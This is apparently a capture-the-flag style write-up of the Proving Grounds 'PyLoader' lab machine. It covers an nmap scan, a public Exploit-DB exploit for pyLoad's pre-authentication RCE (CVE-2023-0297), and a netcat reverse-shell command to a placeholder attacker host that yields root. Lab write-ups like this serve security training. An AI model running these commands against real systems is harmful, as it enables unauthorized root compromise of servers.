Skip to content
HackIndex.io

PyLoader Writeup - Proving Grounds

Easy Linux
Discuss on Discord

Created October 7, 2026 • Last updated October 7, 2026 • 2 min read

The Husky Hacker

sysadmin

PyLoader runs the pyLoad download manager on port 9666. pyLoad 0.5.0 is vulnerable to CVE-2023-0297, a pre-authentication remote code execution. The application runs as root, so the exploit lands a shell directly as root with no privilege escalation.

Reconnaissance

Nmap

Scan all TCP ports and fingerprint the services.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -p- -sCV $TARGET_IP 
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1
9666/tcp open  http    CherryPy wsgiserver (Cheroot/8.6.0)
Explain command
-p- Scan all 65535 TCP ports.
-sCV Run the default scripts and probe service versions.

SSH on 22 and a CherryPy web server on 9666. Browsing to http://$TARGET_IP:9666 redirects to a pyLoad login page. pyLoad is an open-source download manager written in Python.

Exploitation

pyLoad pre-auth RCE (CVE-2023-0297)

pyLoad 0.5.0 is vulnerable to CVE-2023-0297, a pre-authentication remote code execution through the js2py engine. A public exploit is on Exploit-DB.

┌──(kali㉿kali)-[~]
└─$ searchsploit -m 51532
Explain command
-m Mirror (copy) the exploit to the current directory.

Start a listener, then run the exploit against the pyLoad instance with a reverse shell command.

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $ATTACKER_PORT
Explain command
-lvnp Listen, verbose, no DNS resolution, on the given port.
┌──(kali㉿kali)-[~]
└─$ python3 51532.py -u http://$TARGET_IP:9666 -c "busybox nc $ATTACKER_IP $ATTACKER_PORT -e sh" 
connect to [$ATTACKER_IP] from (UNKNOWN) [$TARGET_IP] 36132
id
uid=0(root) gid=0(root) groups=0(root)
Explain command
-u Target pyLoad URL.
-c Command to execute on the target.

pyLoad runs as root, so the pre-auth RCE returns a shell directly as root. No privilege escalation is required.

Related

Command Injection Exploitation
Blog

Command Injection Exploitation

Exploit command injection vulnerabilities in web apps via HTTP/HTTPS, covering payload crafting, byp...
Command Injection Detection
Blog

Command Injection Detection

Detect command injection vulnerabilities in HTTP/HTTPS services by identifying unsanitized input poi...
Linux Reverse Shell Payloads and One-Liners
Blog

Linux Reverse Shell Payloads and One-Liners

Covers Linux reverse shell techniques using Bash, Python, Perl, Netcat and more for establishing rem...

References